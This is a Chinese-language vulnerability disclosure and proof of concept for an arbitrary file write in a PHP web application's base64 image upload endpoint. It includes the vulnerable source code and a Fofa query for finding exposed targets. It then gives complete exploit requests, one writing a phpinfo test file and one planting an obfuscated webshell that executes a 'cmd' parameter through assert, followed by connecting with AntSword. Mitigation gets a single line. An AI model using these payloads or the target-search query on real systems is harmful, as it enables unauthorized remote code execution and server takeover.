0x01 漏洞描述:
在 /Application/Home/Controller/IndexAjaxController.class.php
控制器中,存在一个 Upload
方法来处理通过 base64 编码上传的图像。该方法首先接收 POST 请求中的 img
和 size
参数,检查 img
是否为空。如果不为空,它会从 img
参数中提取 base64 数据,去掉 MIME 类型前缀,并使用 base64_decode
解码。接着,方法会检查是否存在 Upload
目录,如果不存在,则创建该目录以确保能够存放上传的文件。随后,使用 uniqid()
生成一个唯一的文件名,确保文件名不冲突,最后通过 file_put_contents
将解码后的图像数据写入指定的文件路径。上传成功后,方法返回一个成功的 JSON 响应,其中包含文件路径;如果上传失败,则返回错误信息。通过这种方式,可以将 base64 编码的图像文件保存到服务器的指定目录中。从而导致任意文件写入漏洞产生。
问题源码:
public function Upload(){
$base64_image_content = I("post.img");
$image_name = I("post.name");
$len = I("post.size");
$baseLen = strlen($base64_image_content);
if($len!=$baseLen) $this->error("上传图片不完整");
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_image_content, $result)){
$uploadFolder = C('UPLOADPATH').date("Ymd")."/";
if(!is_dir($uploadFolder)){
if(!mkdir($uploadFolder, 0755, true)){
$this->error('创建文件失败');
}
}
$type = $result[2];
if(empty($image_name)){
$new_file = $uploadFolder.date("His")."_".mt_rand(0, 1000).".{$type}";
}else{
$new_file = $uploadFolder.$image_name."_".date("mdHis").".{$type}";
}
$img_64 = base64_decode(str_replace($result[1], '', $base64_image_content));
if (file_put_contents($new_file,$img_64)){
$this->success(complete_url($new_file));
}
}else{
$this->error("图片不存在");
}
}
0x02 搜索语句:
Fofa:"/Public/home/mhjs/jquery.js"
0x03 漏洞复现:
这里使用base64编码进行数据写入
POST /index.php?m=&c=IndexAjax&a=Upload HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 78
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=bf13e78oe1uqp8nh3crld1gu55; uloginid=107639
Host: your-ip
Origin: http://your-ip
Pragma: no-cache
Referer: http://your-ip/index.php?m=&c=IndexAjax
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
img=data:image/php;base64,YTw/cGhwIHBocGluZm8oKTs/Pg==&size=50
写入后访问上传路径
webshell写入
写入时候同样用base64进行编码,这里要注意更改下body中size数值,做到数值与写入字符数匹配否则会被截断
POST /index.php?m=&c=IndexAjax&a=Upload HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 78
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=bf13e78oe1uqp8nh3crld1gu55; uloginid=107639
Host: your-ip
Origin: http://your-ip
Pragma: no-cache
Referer: http://your-ip/index.php?m=&c=IndexAjax
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
img=data:image/php;base64,PD9waHAgY2xhc3MgIEdYTVphOXY1ey8qRkltRXlQKi9mdW5jdGlvbiBfX2NvbnN0cnVjdCgkeCl7JGM9c3RyX3JvdDEzKCdmZnJlZycpOy8qRkltRXlQKi8kYT0gKCIhIl4iQCIpLiRjOy8qRkltRXlQKi8kYSgkeCk7fX1uZXcgIEdYTVphOXY1KCRfUkVRVUVTVFsnY21kJ10pOyA/Pg==&size=238
蚁剑连接
0x04 修复建议:
关闭互联网暴露面或接口设置访问权限